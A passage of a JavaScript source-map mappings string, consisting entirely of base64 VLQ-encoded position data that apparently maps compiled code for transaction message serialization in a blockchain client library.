ErB,QAAQ,CAAC7L,MAAM,CAAC;MAEvD,IAAImN,SAAmB,GAAG,EAAE;MAC5BF,YAAqB,CAACE,SAAS,EAAE1N,IAAI,CAACO,MAAM,CAAC;MAE7C,OAAO;QACLyF,cAAc;AACdyH,QAAAA,eAAe,EAAExO,MAAM,CAACE,IAAI,CAACsO,eAAe,CAAC;AAC7CE,QAAAA,UAAU,EAAEvB,QAAQ;AACpBwB,QAAAA,UAAU,EAAE3O,MAAM,CAACE,IAAI,CAACuO,SAAS,CAAC;AAClC1N,QAAAA;OACD;AACH,KAAC,CAAC;IAEF,IAAI6N,gBAA0B,GAAG,EAAE;IACnCL,YAAqB,CAACK,gBAAgB,EAAEnI,YAAY,CAACnF,MAAM,CAAC;AAC5D,IAAA,IAAIuN,iBAAiB,GAAG7O,MAAM,CAACgD,KAAK,CAACkC,gBAAgB,CAAC;IACtDlF,MAAM,CAACE,IAAI,CAAC0O,gBAAgB,CAAC,CAAC3L,IAAI,CAAC4L,iBAAiB,CAAC;AACrD,IAAA,IAAIC,uBAAuB,GAAGF,gBAAgB,CAACtN,MAAM;AAErDmF,IAAAA,YAAY,CAAC3C,OAAO,CAACgD,WAAW,IAAI;AAClC,MAAA,MAAMiI,iBAAiB,GAAG5H,YAAY,CAACI,MAAM,CAQ3C,CACAJ,YAAY,CAACkB,EAAE,CAAC,gBAAgB,CAAC,EAEjClB,YAAY,CAACC,IAAI,CACfN,WAAW,CAAC0H,eAAe,CAAClN,MAAM,EAClC,iBACF,CAAC,EACD6F,YAAY,CAAC6H,GAAG,CACd7H,YAAY,CAACkB,EAAE,CAAC,UAAU,CAAC,EAC3BvB,WAAW,CAAC4H,UAAU,CAACpN,MAAM,EAC7B,YACF,CAAC,EACD6F,YAAY,CAACC,IAAI,CAACN,WAAW,CAAC6H,UAAU,CAACrN,MAAM,EAAE,YAAY,CAAC,EAC9D6F,YAAY,CAAC6H,GAAG,CACd7H,YAAY,CAACkB,EAAE,CAAC,WAAW,CAAC,EAC5BvB,WAAW,CAAC/F,IAAI,CAACO,MAAM,EACvB,MACF,CAAC,CACF,CAAC;MACF,MAAMA,MAAM,GAAGyN,iBAAiB,CAACpO,MAAM,CACrCmG,WAAW,EACX+H,iBAAiB,EACjBC,uBACF,CAAC;AACDA,MAAAA,uBAAuB,IAAIxN,MAAM;AACnC,KAAC,CAAC;IACFuN,iBAAiB,GAAGA,iBAAiB,CAACjP,KAAK,CAAC,CAAC,EAAEkP,uBAAuB,CAAC;AAEvE,IAAA,MAAMG,cAAc,GAAG9H,YAAY,CAACI,MAAM,CASxC,CACAJ,YAAY,CAACC,IAAI,CAAC,CAAC,EAAE,uBAAuB,CAAC,EAC7CD,YAAY,CAACC,IAAI,CAAC,CAAC,EAAE,2BAA2B,CAAC,EACjDD,YAAY,CAACC,IAAI,CAAC,CAAC,EAAE,6BAA6B,CAAC,EACnDD,YAAY,CAACC,IAAI,CAACkH,QAAQ,CAAChN,MAAM,EAAE,UAAU,CAAC,EAC9C6F,YAAY,CAAC6H,GAAG,CAACE,SAAgB,CAAC,KAAK,CAAC,EAAEb,OAAO,EAAE,MAAM,CAAC,EAC1Da,SAAgB,CAAC,iBAAiB,CAAC,CACpC,CAAC;AAEF,IAAA,MAAMC,WAAW,GAAG;AAClBpE,MAAAA,qBAAqB,EAAE/K,MAAM,CAACE,IAAI,CAAC,CAAC,IAAI,CAAC4K,MAAM,CAACC,qBAAqB,CAAC,CAAC;AACvEC,MAAAA,yBAAyB,EAAEhL,MAAM,CAACE,IAAI,CAAC,CACrC,IAAI,CAAC4K,MAAM,CAACE,yBAAyB,CACtC,CAAC;AACFC,MAAAA,2BAA2B,EAAEjL,MAAM,CAACE,IAAI,CAAC,CACvC,IAAI,CAAC4K,MAAM,CAACG,2BAA2B,CACxC,CAAC;AACFqD,MAAAA,QAAQ,EAAEtO,MAAM,CAACE,IAAI,CAACoO,QAAQ,CAAC;AAC/BjN,MAAAA,IAAI,EAAE,IAAI,CAACwL,WAAW,CAACrL,GAAG,CAACC,GAAG,IAAI3B,QAAQ,CAAC2B,GAAG,CAACiB,OAAO,EAAE,CAAC,CAAC;AAC1DoK,MAAAA,eAAe,EAAE1K,IAAI,CAACtB,MAAM,CAAC,IAAI,CAACgM,eAAe;KAClD;AAED,IAAA,IAAIsC,QAAQ,GAAGpP,MAAM,CAACgD,KAAK,CAAC,IAAI,CAAC;IACjC,MAAM1B,MAAM,GAAG2N,cAAc,CAACtO,MAAM,CAACwO,WAAW,EAAEC,QAAQ,CAAC;AAC3DP,IAAAA,iBAAiB,CAAC5L,IAAI,CAACmM,QAAQ,EAAE9N,MAAM,CAAC;IACxC,OAAO8N,QAAQ,CAACxP,KAAK,CAAC,CAAC,EAAE0B,MAAM,GAAGuN,iBAAiB,CAACvN,MAAM,CAAC;AAC7D;;AAEA;AACF;AACA;EACE,OAAOpB,IAAIA,CAACC,MAA2C,EAAW;AAChE;AACA,IAAA,IAAIoM,SAAS,GAAG,CAAC,GAAGpM,MAAM,CAAC;AAE3B,IAAA,MAAM4K,qBAAqB,GAAGuB,YAAY,CAACC,SAAS,CAAC;AACrD,IAAA,IACExB,qBAAqB,MACpBA,qBAAqB,GAAG5F,mBAAmB,CAAC,EAC7C;AACA,MAAA,MAAM,IAAI5D,KAAK,CACb,6EACF,CAAC;AACH;AAEA,IAAA,MAAMyJ,yBAAyB,GAAGsB,YAAY,CAACC,SAAS,CAAC;AACzD,IAAA,MAAMtB,2BAA2B,GAAGqB,YAAY,CAACC,SAAS,CAAC;AAE3D,IAAA,MAAM8C,YAAY,GAAGd,YAAqB,CAAChC,SAAS,CAAC;IACrD,IAAIM,WAAW,GAAG,EAAE;IACpB,KAAK,IAAIyC,CAAC,GAAG,CAAC,EAAEA,CAAC,GAAGD,YAAY,EAAEC,CAAC,EAAE,EAAE;MACrC,MAAMtC,OAAO,GAAGR,aAAa,CAACD,SAAS,EAAE,CAAC,EAAE3K,iBAAiB,CAAC;AAC9DiL,MAAAA,WAAW,CAAC5G,IAAI,CAAC,IAAI/D,SAAS,CAAClC,MAAM,CAACE,IAAI,CAAC8M,OAAO,CAAC,CAAC,CAAC;AACvD;IAEA,MAAMF,eAAe,GAAGN,aAAa,CAACD,SAAS,EAAE,CAAC,EAAE3K,iBAAiB,CAAC;AAEtE,IAAA,MAAMgN,gBAAgB,GAAGL,YAAqB,CAAChC,SAAS,CAAC;IACzD,IAAI9F,YAAmC,GAAG,EAAE;IAC5C,KAAK,IAAI6I,CAAC,GAAG,CAAC,EAAEA,CAAC,GAAGV,gBAAgB,EAAEU,CAAC,EAAE,EAAE;AACzC,MAAA,MAAMvI,cAAc,GAAGuF,YAAY,CAACC,SAAS,CAAC;AAC9C,MAAA,MAAM8C,YAAY,GAAGd,YAAqB,CAAChC,SAAS,CAAC;MACrD,MAAMY,QAAQ,GAAGX,aAAa,CAACD,SAAS,EAAE,CAAC,EAAE8C,YAAY,CAAC;AAC1D,MAAA,MAAMV,UAAU,GAAGJ,YAAqB,CAAChC,SAAS,CAAC;MACnD,MAAMgD,SAAS,GAAG/C,aAAa,CAACD,SAAS,EAAE,CAAC,EAAEoC,UAAU,CAAC;AACzD,MAAA,MAAM5N,IAAI,GAAGqB,IAAI,CAACzB,MAAM,CAACX,MAAM,CAACE,IAAI,CAACqP,SAAS,CAAC,CAAC;MAChD9I,YAAY,CAACR,IAAI,CAAC;QAChBc,cAAc;QACdoG,QAAQ;AACRpM,QAAAA;AACF,OAAC,CAAC;AACJ;AAEA,IAAA,MAAMyO,WAAW,GAAG;AAClB1E,MAAAA,MAAM,EAAE;QACNC,qBAAqB;QACrBC,yBAAyB;AACzBC,QAAAA;OACD;MACD6B,eAAe,EAAE1K,IAAI,CAACzB,MAAM,CAACX,MAAM,CAACE,IAAI,CAAC4M,eAAe,CAAC,CAAC;MAC1DD,WAAW;AACXpG,MAAAA;KACD;AAED,IAAA,OAAO,IAAImG,OAAO,CAAC4C,WAAW,CAAC;AACjC;AACF;;AC9SA;AACA;AACA;;AA6BO,MAAMC,SAAS,CAAC;EAOrBlP,WAAWA,CAACkM,IAAmB,EAAE;AAAA,IAAA,IAAA,CANjC3B,MAAM,GAAA,KAAA,CAAA;AAAA,IAAA,IAAA,CACNhF,iBAAiB,GAAA,KAAA,CAAA;AAAA,IAAA,IAAA,CACjBgH,eAAe,GAAA,KAAA,CAAA;AAAA,IAAA,IAAA,CACfI,oBAAoB,GAAA,KAAA,CAAA;AAAA,IAAA,IAAA,CACpBE,mBAAmB,GAAA,KAAA,CAAA;AAGjB,IAAA,IAAI,CAACtC,MAAM,GAAG2B,IAAI,CAAC3B,MAAM;AACzB,IAAA,IAAI,CAAChF,iBAAiB,GAAG2G,IAAI,CAAC3G,iBAAiB;AAC/C,IAAA,IAAI,CAACgH,eAAe,GAAGL,IAAI,CAACK,eAAe;AAC3C,IAAA,IAAI,CAACI,oBAAoB,GAAGT,IAAI,CAACS,oBAAoB;AACrD,IAAA,IAAI,CAACE,mBAAmB,GAAGX,IAAI,CAACW,mBAAmB;AACrD;EAEA,IAAIH,OAAOA,GAAM;AACf,IAAA,OAAO,CAAC;AACV;EAEA,IAAIyC,yBAAyBA,GAAW;IACtC,IAAIC,KAAK,GAAG,CAAC;AACb,IAAA,KAAK,MAAMC,MAAM,IAAI,IAAI,CAACxC,mBAAmB,EAAE;MAC7CuC,KAAK,IAAIC,MAAM,CAAClE,eAAe,CAACpK,MAAM,GAAGsO,MAAM,CAACvE,eAAe,CAAC/J,MAAM;AACxE;AACA,IAAA,OAAOqO,KAAK;AACd;EAEAtC,cAAcA,CAACZ,IAAyB,EAAsB;AAC5D,IAAA,IAAI1G,sBAA0D;IAC9D,IACE0G,IAAI,IACJ,wBAAwB,IAAIA,IAAI,IAChCA,IAAI,CAAC1G,sBAAsB,EAC3B;AACA,MAAA,IACE,IAAI,CAAC2J,yBAAyB,IAC9BjD,IAAI,CAAC1G,sBAAsB,CAACG,QAAQ,CAAC5E,MAAM,GACzCmL,IAAI,CAAC1G,sBAAsB,CAACI,QAAQ,CAAC7E,MAAM,EAC7C;AACA,QAAA,MAAM,IAAIC,KAAK,CACb,6FACF,CAAC;AACH;MACAwE,sBAAsB,GAAG0G,IAAI,CAAC1G,sBAAsB;KACrD,MAAM,IACL0G,IAAI,IACJ,4BAA4B,IAAIA,IAAI,IACpCA,IAAI,CAACoD,0BAA0B,EAC/B;MACA9J,sBAAsB,GAAG,IAAI,CAAC+J,0BAA0B,CACtDrD,IAAI,CAACoD,0BACP,CAAC;KACF,MAAM,IAAI,IAAI,CAACzC,mBAAmB,CAAC9L,MAAM,GAAG,CAAC,EAAE;AAC9C,MAAA,MAAM,IAAIC,KAAK,CACb,4EACF,CAAC;AACH;IACA,OAAO,IAAIsE,kBAAkB,CAC3B,IAAI,CAACC,iBAAiB,EACtBC,sBACF,CAAC;AACH;EAEAyH,eAAeA,CAACnH,KAAa,EAAW;AACtC,IAAA,OAAOA,KAAK,GAAG,IAAI,CAACyE,MAAM,CAACC,qBAAqB;AAClD;EAEA0C,iBAAiBA,CAACpH,KAAa,EAAW;AACxC,IAAA,MAAMqH,iBAAiB,GAAG,IAAI,CAAC5C,MAAM,CAACC,qBAAqB;AAC3D,IAAA,MAAMgF,oBAAoB,GAAG,IAAI,CAACjK,iBAAiB,CAACxE,MAAM;IAC1D,IAAI+E,KAAK,IAAI0J,oBAAoB,EAAE;AACjC,MAAA,MAAMC,sBAAsB,GAAG3J,KAAK,GAAG0J,oBAAoB;MAC3D,MAAME,4BAA4B,GAAG,IAAI,CAAC7C,mBAAmB,CAAC8C,MAAM,CAClE,CAACP,KAAK,EAAEC,MAAM,KAAKD,KAAK,GAAGC,MAAM,CAACvE,eAAe,CAAC/J,MAAM,EACxD,CACF,CAAC;MACD,OAAO0O,sBAAsB,GAAGC,4BAA4B;KAC7D,MAAM,IAAI5J,KAAK,IAAI,IAAI,CAACyE,MAAM,CAACC,qBAAqB,EAAE;AACrD,MAAA,MAAM4C,oBAAoB,GAAGtH,KAAK,GAAGqH,iBAAiB;AACtD,MAAA,MAAME,mBAAmB,GAAGmC,oBAAoB,GAAGrC,iBAAiB;MACpE,MAAMG,2BAA2B,GAC/BD,mBAAmB,GAAG,IAAI,CAAC9C,MAAM,CAACG,2BAA2B;MAC/D,OAAO0C,oBAAoB,GAAGE,2BAA2B;AAC3D,KAAC,MAAM;MACL,MAAMC,yBAAyB,GAC7BJ,iBAAiB,GAAG,IAAI,CAAC5C,MAAM,CAACE,yBAAyB;MAC3D,OAAO3E,KAAK,GAAGyH,yBAAyB;AAC1C;AACF;EAEAgC,0BAA0BA,CACxBD,0BAAuD,EAC/B;AACxB,IAAA,MAAM9J,sBAA8C,GAAG;AACrDG,MAAAA,QAAQ,EAAE,EAAE;AACZC,MAAAA,QAAQ,EAAE;KACX;AAED,IAAA,KAAK,MAAMgK,WAAW,IAAI,IAAI,CAAC/C,mBAAmB,EAAE;AAClD,MAAA,MAAMgD,YAAY,GAAGP,0BAA0B,CAACQ,IAAI,CAACrD,OAAO,IAC1DA,OAAO,CAACvL,GAAG,CAACc,MAAM,CAAC4N,WAAW,CAACvE,UAAU,CAC3C,CAAC;MACD,IAAI,CAACwE,YAAY,EAAE;AACjB,QAAA,MAAM,IAAI7O,KAAK,CACb,CAAA,0DAAA,EAA6D4O,WAAW,CAACvE,UAAU,CAACnJ,QAAQ,EAAE,CAAA,CAChG,CAAC;AACH;AAEA,MAAA,KAAK,MAAM4D,KAAK,IAAI8J,WAAW,CAAC9E,eAAe,EAAE;QAC/C,IAAIhF,KAAK,GAAG+J,YAAY,CAAC5E,KAAK,CAACC,SAAS,CAACnK,MAAM,EAAE;AAC/CyE,UAAAA,sBAAsB,CAACG,QAAQ,CAACD,IAAI,CAClCmK,YAAY,CAAC5E,KAAK,CAACC,SAAS,CAACpF,KAAK,CACpC,CAAC;AACH,SAAC,MAAM;AACL,UAAA,MAAM,IAAI9E,KAAK,CACb,CAAA,iCAAA,EAAoC8E,KAAK,CAA4B8J,yBAAAA,EAAAA,WAAW,CAACvE,UAAU,CAACnJ,QAAQ,EAAE,EACxG,CAAC;AACH;AACF;AAEA,MAAA,KAAK,MAAM4D,KAAK,IAAI8J,WAAW,CAACzE,eAAe,EAAE;QAC/C,IAAIrF,KAAK,GAAG+J,YAAY,CAAC5E,KAAK,CAACC,SAAS,CAACnK,MAAM,EAAE;AAC/CyE,UAAAA,sBAAsB,CAACI,QAAQ,CAACF,IAAI,CAClCmK,YAAY,CAAC5E,KAAK,CAACC,SAAS,CAACpF,KAAK,CACpC,CAAC;AACH,SAAC,MAAM;AACL,UAAA,MAAM,IAAI9E,KAAK,CACb,CAAA,iCAAA,EAAoC8E,KAAK,CAA4B8J,yBAAAA,EAAAA,WAAW,CAACvE,UAAU,CAACnJ,QAAQ,EAAE,EACxG,CAAC;AACH;AACF;AACF;AAEA,IAAA,OAAOsD,sBAAsB;AAC/B;EAEA,OAAO6D,OAAOA,CAAC6C,IAAmB,EAAa;AAC7C,IAAA,MAAMa,YAAY,GAAG7D,YAAY,CAACG,OAAO,CAAC6C,IAAI,CAAChG,YAAY,EAAEgG,IAAI,CAACc,QAAQ,CAAC;AAE3E,IAAA,MAAMH,mBAAmB,GAAG,IAAIxE,KAAK,EAA6B;AAClE,IAAA,MAAM7C,sBAA8C,GAAG;AACrDG,MAAAA,QAAQ,EAAE,IAAI0C,KAAK,EAAE;MACrBzC,QAAQ,EAAE,IAAIyC,KAAK;KACpB;AACD,IAAA,MAAM0H,mBAAmB,GAAG7D,IAAI,CAACoD,0BAA0B,IAAI,EAAE;AACjE,IAAA,KAAK,MAAMzE,WAAW,IAAIkF,mBAAmB,EAAE;AAC7C,MAAA,MAAMC,aAAa,GAAGjD,YAAY,CAACnC,kBAAkB,CAACC,WAAW,CAAC;MAClE,IAAImF,aAAa,KAAKvO,SAAS,EAAE;QAC/B,MAAM,CAACwO,kBAAkB,EAAE;UAACtK,QAAQ;AAAEC,UAAAA;SAAS,CAAC,GAAGoK,aAAa;AAChEnD,QAAAA,mBAAmB,CAACnH,IAAI,CAACuK,kBAAkB,CAAC;AAC5CzK,QAAAA,sBAAsB,CAACG,QAAQ,CAACD,IAAI,CAAC,GAAGC,QAAQ,CAAC;AACjDH,QAAAA,sBAAsB,CAACI,QAAQ,CAACF,IAAI,CAAC,GAAGE,QAAQ,CAAC;AACnD;AACF;IAEA,MAAM,CAAC2E,MAAM,EAAEhF,iBAAiB,CAAC,GAAGwH,YAAY,CAACjD,oBAAoB,EAAE;IACvE,MAAMwC,WAAW,GAAG,IAAIhH,kBAAkB,CACxCC,iBAAiB,EACjBC,sBACF,CAAC;IACD,MAAMmH,oBAAoB,GAAGL,WAAW,CAACrG,mBAAmB,CAC1DiG,IAAI,CAAChG,YACP,CAAC;IACD,OAAO,IAAIgJ,SAAS,CAAC;MACnB3E,MAAM;MACNhF,iBAAiB;MACjBgH,eAAe,EAAEL,IAAI,CAACK,eAAe;MACrCI,oBAAoB;AACpBE,MAAAA;AACF,KAAC,CAAC;AACJ;AAEAxM,EAAAA,SAASA,GAAe;AACtB,IAAA,MAAM6P,8BAA8B,GAAG7H,KAAK,EAAU;IACtD2F,YAAqB,CACnBkC,8BAA8B,EAC9B,IAAI,CAAC3K,iBAAiB,CAACxE,MACzB,CAAC;AAED,IAAA,MAAMoP,sBAAsB,GAAG,IAAI,CAACC,qBAAqB,EAAE;AAC3D,IAAA,MAAMC,yBAAyB,GAAGhI,KAAK,EAAU;IACjD2F,YAAqB,CACnBqC,yBAAyB,EACzB,IAAI,CAAC1D,oBAAoB,CAAC5L,MAC5B,CAAC;AAED,IAAA,MAAMuP,6BAA6B,GAAG,IAAI,CAACC,4BAA4B,EAAE;AACzE,IAAA,MAAMC,gCAAgC,GAAGnI,KAAK,EAAU;IACxD2F,YAAqB,CACnBwC,gCAAgC,EAChC,IAAI,CAAC3D,mBAAmB,CAAC9L,MAC3B,CAAC;AAED,IAAA,MAAM0P,aAAa,GAAG7J,YAAY,CAACI,MAAM,CAUtC,CACDJ,YAAY,CAACkB,EAAE,CAAC,QAAQ,CAAC,EACzBlB,YAAY,CAACI,MAAM,CACjB,CACEJ,YAAY,CAACkB,EAAE,CAAC,uBAAuB,CAAC,EACxClB,YAAY,CAACkB,EAAE,CAAC,2BAA2B,CAAC,EAC5ClB,YAAY,CAACkB,EAAE,CAAC,6BAA6B,CAAC,CAC/C,EACD,QACF,CAAC,EACDlB,YAAY,CAACC,IAAI,CACfqJ,8BAA8B,CAACnP,MAAM,EACrC,yBACF,CAAC,EACD6F,YAAY,CAAC6H,GAAG,CACdE,SAAgB,EAAE,EAClB,IAAI,CAACpJ,iBAAiB,CAACxE,MAAM,EAC7B,mBACF,CAAC,EACD4N,SAAgB,CAAC,iBAAiB,CAAC,EACnC/H,YAAY,CAACC,IAAI,CAACwJ,yBAAyB,CAACtP,MAAM,EAAE,oBAAoB,CAAC,EACzE6F,YAAY,CAACC,IAAI,CACfsJ,sBAAsB,CAACpP,MAAM,EAC7B,wBACF,CAAC,EACD6F,YAAY,CAACC,IAAI,CACf2J,gCAAgC,CAACzP,MAAM,EACvC,2BACF,CAAC,EACD6F,YAAY,CAACC,IAAI,CACfyJ,6BAA6B,CAACvP,MAAM,EACpC,+BACF,CAAC,CACF,CAAC;AAEF,IAAA,MAAM2P,iBAAiB,GAAG,IAAI5R,UAAU,CAAC6F,gBAAgB,CAAC;AAC1D,IAAA,MAAMgM,wBAAwB,GAAG,CAAC,IAAI,CAAC;AACvC,IAAA,MAAMC,uBAAuB,GAAGH,aAAa,CAACrQ,MAAM,CAClD;AACEyQ,MAAAA,MAAM,EAAEF,wBAAwB;MAChCpG,MAAM,EAAE,IAAI,CAACA,MAAM;AACnBuG,MAAAA,uBAAuB,EAAE,IAAIhS,UAAU,CAACoR,8BAA8B,CAAC;AACvE3K,MAAAA,iBAAiB,EAAE,IAAI,CAACA,iBAAiB,CAACtE,GAAG,CAACC,GAAG,IAAIA,GAAG,CAACiB,OAAO,EAAE,CAAC;MACnEoK,eAAe,EAAE1K,IAAI,CAACtB,MAAM,CAAC,IAAI,CAACgM,eAAe,CAAC;AAClDwE,MAAAA,kBAAkB,EAAE,IAAIjS,UAAU,CAACuR,yBAAyB,CAAC;MAC7DF,sBAAsB;AACtBa,MAAAA,yBAAyB,EAAE,IAAIlS,UAAU,CACvC0R,gCACF,CAAC;AACDF,MAAAA;KACD,EACDI,iBACF,CAAC;AACD,IAAA,OAAOA,iBAAiB,CAACrR,KAAK,CAAC,CAAC,EAAEuR,uBAAuB,CAAC;AAC5D;AAEQR,EAAAA,qBAAqBA,GAAe;IAC1C,IAAIa,gBAAgB,GAAG,CAAC;AACxB,IAAA,MAAMd,sBAAsB,GAAG,IAAIrR,UAAU,CAAC6F,gBAAgB,CAAC;AAC/D,IAAA,KAAK,MAAM4B,WAAW,IAAI,IAAI,CAACoG,oBAAoB,EAAE;AACnD,MAAA,MAAMuE,8BAA8B,GAAG7I,KAAK,EAAU;MACtD2F,YAAqB,CACnBkD,8BAA8B,EAC9B3K,WAAW,CAACE,iBAAiB,CAAC1F,MAChC,CAAC;AAED,MAAA,MAAMoQ,iBAAiB,GAAG9I,KAAK,EAAU;MACzC2F,YAAqB,CAACmD,iBAAiB,EAAE5K,WAAW,CAAC/F,IAAI,CAACO,MAAM,CAAC;AAEjE,MAAA,MAAMyN,iBAAiB,GAAG5H,YAAY,CAACI,MAAM,CAM1C,CACDJ,YAAY,CAACkB,EAAE,CAAC,gBAAgB,CAAC,EACjClB,YAAY,CAACC,IAAI,CACfqK,8BAA8B,CAACnQ,MAAM,EACrC,gCACF,CAAC,EACD6F,YAAY,CAAC6H,GAAG,CACd7H,YAAY,CAACkB,EAAE,EAAE,EACjBvB,WAAW,CAACE,iBAAiB,CAAC1F,MAAM,EACpC,mBACF,CAAC,EACD6F,YAAY,CAACC,IAAI,CAACsK,iBAAiB,CAACpQ,MAAM,EAAE,mBAAmB,CAAC,EAChE6F,YAAY,CAACC,IAAI,CAACN,WAAW,CAAC/F,IAAI,CAACO,MAAM,EAAE,MAAM,CAAC,CACnD,CAAC;AAEFkQ,MAAAA,gBAAgB,IAAIzC,iBAAiB,CAACpO,MAAM,CAC1C;QACEoG,cAAc,EAAED,WAAW,CAACC,cAAc;AAC1C0K,QAAAA,8BAA8B,EAAE,IAAIpS,UAAU,CAC5CoS,8BACF,CAAC;QACDzK,iBAAiB,EAAEF,WAAW,CAACE,iBAAiB;AAChD0K,QAAAA,iBAAiB,EAAE,IAAIrS,UAAU,CAACqS,iBAAiB,CAAC;QACpD3Q,IAAI,EAAE+F,WAAW,CAAC/F;AACpB,OAAC,EACD2P,sBAAsB,EACtBc,gBACF,CAAC;AACH;AAEA,IAAA,OAAOd,sBAAsB,CAAC9Q,KAAK,CAAC,CAAC,EAAE4R,gBAAgB,CAAC;AAC1D;AAEQV,EAAAA,4BAA4BA,GAAe;IACjD,IAAIU,gBAAgB,GAAG,CAAC;AACxB,IAAA,MAAMX,6BAA6B,GAAG,IAAIxR,UAAU,CAAC6F,gBAAgB,CAAC;AACtE,IAAA,KAAK,MAAM0K,MAAM,IAAI,IAAI,CAACxC,mBAAmB,EAAE;AAC7C,MAAA,MAAMuE,4BAA4B,GAAG/I,KAAK,EAAU;MACpD2F,YAAqB,CACnBoD,4BAA4B,EAC5B/B,MAAM,CAACvE,eAAe,CAAC/J,MACzB,CAAC;AAED,MAAA,MAAMsQ,4BAA4B,GAAGhJ,KAAK,EAAU;MACpD2F,YAAqB,CACnBqD,4BAA4B,EAC5BhC,MAAM,CAAClE,eAAe,CAACpK,MACzB,CAAC;AAED,MAAA,MAAMuQ,wBAAwB,GAAG1K,YAAY,CAACI,MAAM,CAMjD,CACD2H,SAAgB,CAAC,YAAY,CAAC,EAC9B/H,YAAY,CAACC,IAAI,CACfuK,4BAA4B,CAACrQ,MAAM,EACnC,8BACF,CAAC,EACD6F,YAAY,CAAC6H,GAAG,CACd7H,YAAY,CAACkB,EAAE,EAAE,EACjBuH,MAAM,CAACvE,eAAe,CAAC/J,MAAM,EAC7B,iBACF,CAAC,EACD6F,YAAY,CAACC,IAAI,CACfwK,4BAA4B,CAACtQ,MAAM,EACnC,8BACF,CAAC,EACD6F,YAAY,CAAC6H,GAAG,CACd7H,YAAY,CAACkB,EAAE,EAAE,EACjBuH,MAAM,CAAClE,eAAe,CAACpK,MAAM,EAC7B,iBACF,CAAC,CACF,CAAC;AAEFkQ,MAAAA,gBAAgB,IAAIK,wBAAwB,CAAClR,MAAM,CACjD;AACEiL,QAAAA,UAAU,EAAEgE,MAAM,CAAChE,UAAU,CAAClJ,OAAO,EAAE;AACvCiP,QAAAA,4BAA4B,EAAE,IAAItS,UAAU,CAC1CsS,4BACF,CAAC;QACDtG,eAAe,EAAEuE,MAAM,CAACvE,eAAe;AACvCuG,QAAAA,4BAA4B,EAAE,IAAIvS,UAAU,CAC1CuS,4BACF,CAAC;QACDlG,eAAe,EAAEkE,MAAM,CAAClE;AAC1B,OAAC,EACDmF,6BAA6B,EAC7BW,gBACF,CAAC;AACH;AAEA,IAAA,OAAOX,6BAA6B,CAACjR,KAAK,CAAC,CAAC,EAAE4R,gBAAgB,CAAC;AACjE;EAEA,OAAOxQ,WAAWA,CAACiQ,iBAA6B,EAAa;AAC3D,IAAA,IAAI1E,SAAS,GAAG,CAAC,GAAG0E,iBAAiB,CAAC;AAEtC,IAAA,MAAMG,MAAM,GAAG9E,YAAY,CAACC,SAAS,CAAC;AACtC,IAAA,MAAMuF,YAAY,GAAGV,MAAM,GAAGjM,mBAAmB;AACjDqF,IAAAA,MAAM,CACJ4G,MAAM,KAAKU,YAAY,EACvB,wDACF,CAAC;IAED,MAAM7E,OAAO,GAAG6E,YAAY;IAC5BtH,MAAM,CACJyC,OAAO,KAAK,CAAC,EACb,CAA+DA,4DAAAA,EAAAA,OAAO,EACxE,CAAC;AAED,IAAA,MAAMnC,MAAqB,GAAG;AAC5BC,MAAAA,qBAAqB,EAAEuB,YAAY,CAACC,SAAS,CAAC;AAC9CvB,MAAAA,yBAAyB,EAAEsB,YAAY,CAACC,SAAS,CAAC;MAClDtB,2BAA2B,EAAEqB,YAAY,CAACC,SAAS;KACpD;IAED,MAAMzG,iBAAiB,GAAG,EAAE;AAC5B,IAAA,MAAMuL,uBAAuB,GAAG9C,YAAqB,CAAChC,SAAS,CAAC;IAChE,KAAK,IAAI+C,CAAC,GAAG,CAAC,EAAEA,CAAC,GAAG+B,uBAAuB,EAAE/B,CAAC,EAAE,EAAE;AAChDxJ,MAAAA,iBAAiB,CAACG,IAAI,CACpB,IAAI/D,SAAS,CAACsK,aAAa,CAACD,SAAS,EAAE,CAAC,EAAE3K,iBAAiB,CAAC,CAC9D,CAAC;AACH;AAEA,IAAA,MAAMkL,eAAe,GAAG1K,IAAI,CAACzB,MAAM,CACjC6L,aAAa,CAACD,SAAS,EAAE,CAAC,EAAE3K,iBAAiB,CAC/C,CAAC;AAED,IAAA,MAAMgN,gBAAgB,GAAGL,YAAqB,CAAChC,SAAS,CAAC;IACzD,MAAMW,oBAAkD,GAAG,EAAE;IAC7D,KAAK,IAAIoC,CAAC,GAAG,CAAC,EAAEA,CAAC,GAAGV,gBAAgB,EAAEU,CAAC,EAAE,EAAE;AACzC,MAAA,MAAMvI,cAAc,GAAGuF,YAAY,CAACC,SAAS,CAAC;AAC9C,MAAA,MAAMwF,uBAAuB,GAAGxD,YAAqB,CAAChC,SAAS,CAAC;MAChE,MAAMvF,iBAAiB,GAAGwF,aAAa,CACrCD,SAAS,EACT,CAAC,EACDwF,uBACF,CAAC;AACD,MAAA,MAAMpD,UAAU,GAAGJ,YAAqB,CAAChC,SAAS,CAAC;AACnD,MAAA,MAAMxL,IAAI,GAAG,IAAI1B,UAAU,CAACmN,aAAa,CAACD,SAAS,EAAE,CAAC,EAAEoC,UAAU,CAAC,CAAC;MACpEzB,oBAAoB,CAACjH,IAAI,CAAC;QACxBc,cAAc;QACdC,iBAAiB;AACjBjG,QAAAA;AACF,OAAC,CAAC;AACJ;AAEA,IAAA,MAAMiR,wBAAwB,GAAGzD,YAAqB,CAAChC,SAAS,CAAC;IACjE,MAAMa,mBAAgD,GAAG,EAAE;IAC3D,KAAK,IAAIkC,CAAC,GAAG,CAAC,EAAEA,CAAC,GAAG0C,wBAAwB,EAAE1C,CAAC,EAAE,EAAE;AACjD,MAAA,MAAM1D,UAAU,GAAG,IAAI1J,SAAS,CAC9BsK,aAAa,CAACD,SAAS,EAAE,CAAC,EAAE3K,iBAAiB,CAC/C,CAAC;AACD,MAAA,MAAMqQ,qBAAqB,GAAG1D,YAAqB,CAAChC,SAAS,CAAC;MAC9D,MAAMlB,eAAe,GAAGmB,aAAa,CACnCD,SAAS,EACT,CAAC,EACD0F,qBACF,CAAC;AACD,MAAA,MAAMC,qBAAqB,GAAG3D,YAAqB,CAAChC,SAAS,CAAC;MAC9D,MAAMb,eAAe,GAAGc,aAAa,CACnCD,SAAS,EACT,CAAC,EACD2F,qBACF,CAAC;MACD9E,mBAAmB,CAACnH,IAAI,CAAC;QACvB2F,UAAU;QACVP,eAAe;AACfK,QAAAA;AACF,OAAC,CAAC;AACJ;IAEA,OAAO,IAAI+D,SAAS,CAAC;MACnB3E,MAAM;MACNhF,iBAAiB;MACjBgH,eAAe;MACfI,oBAAoB;AACpBE,MAAAA;AACF,KAAC,CAAC;AACJ;AACF;;AC3fA;AACO,MAAM+E,gBAAgB,GAAG;EAC9BC,yBAAyBA,CAACnB,iBAA6B,EAAqB;AAC1E,IAAA,MAAMG,MAAM,GAAGH,iBAAiB,CAAC,CAAC,CAA